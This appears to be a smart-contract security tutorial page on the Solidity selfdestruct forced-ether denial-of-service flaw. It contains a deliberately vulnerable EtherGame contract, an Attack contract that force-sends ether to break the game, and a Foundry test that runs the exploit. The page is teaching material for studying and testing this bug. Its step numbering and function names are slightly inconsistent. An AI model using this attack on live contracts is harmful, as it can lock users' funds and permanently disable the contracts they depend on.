✅
Selfdestruct 1
Ether game DoS
- Due to missing or insufficient access controls, malicious parties can self-destruct the contract.
- The
selfdestruct(address)
function removes all bytecode from the contract address and sends all ether stored to the specified address.
/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
No one can become the winner.
What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/
contract EtherGame {
uint constant public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
The
deposit()
function is vulnerable:uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over"); // targetAmount == 7 ether
Note that
deposit()
is not the only way to feed ethers into this contract: we can send unlimited ethers via selfdestruct()
. If alice deposits 1 ether bob deposits 1 ether and we selfdestruct()
5 ethers, then no one in the future can deposit()
anything into this challenge.Implement the contract waiting for
selfdestruct()
:contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function dos() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
This contract will deploy the EtherGame contract as well. Implement exploit:
console.log("Alice deposit 1 Ether...");
vm.prank(alice);
EtherGameContract.deposit{value: 1 ether}();
console.log("Eve deposit 1 Ether...");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}();
console.log("Balance of EtherGameContract", address(EtherGameContract).balance);
console.log("Attack...");
AttackerContract = new Attack(EtherGameContract);
AttackerContract.dos{value: 5 ether}();
Run test:
forge test --contracts ./src/test/Selfdestruct.sol -vvvv
Last modified 1d ago